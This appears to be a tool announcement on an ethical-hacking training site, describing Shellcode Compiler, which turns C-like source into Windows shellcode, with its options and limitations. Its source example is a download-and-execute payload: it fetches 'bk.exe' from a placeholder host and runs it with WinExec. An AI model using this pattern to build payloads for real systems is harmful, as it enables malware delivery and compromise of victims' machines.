Institute For Ethical Hacking Course and Ethical Hacking Training in Pune – India
Extreme Hacking | Sadik Shaikh | Cyber Suraksha Abhiyan

Shellcode Compiler is a program that compiles C/C++ style code into a small, position-independent and NULL-free shellcode for Windows. It is possible to call any Windows API function in a user-friendly way. It takes as input a source file and it uses it’s own compiler to interpret the code and generate an assembly file which is assembled with NASM.

Command line options:

-h (--help) : Show this help message
-v (--verbose) : Print detailed output
-t (--test) : Test (execute) generated shellcode
-r (--read) : Read source code file
-o (--output) : Output file of the generated binary shellcode
-a (--assembbly) : Output file of the generated assembly code

Source code example:

function URLDownloadToFileA("urlmon.dll");
function WinExec("kernel32.dll");
function ExitProcess("kernel32.dll");

URLDownloadToFileA(0,"https://site.com/bk.exe","bk.exe",0,0);
WinExec("bk.exe",0);
ExitProcess(0);
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Invocation example:

ShellcodeCompiler.exe -r Source.txt -o Shellcode.bin -a Assembly.asm

Limitations:

  • It is not possible to use the return value of an API call
  • It is not possible to use pointers or buffers
  • It is not possible to declare variables

Download now:  ShellcodeCompiler

 

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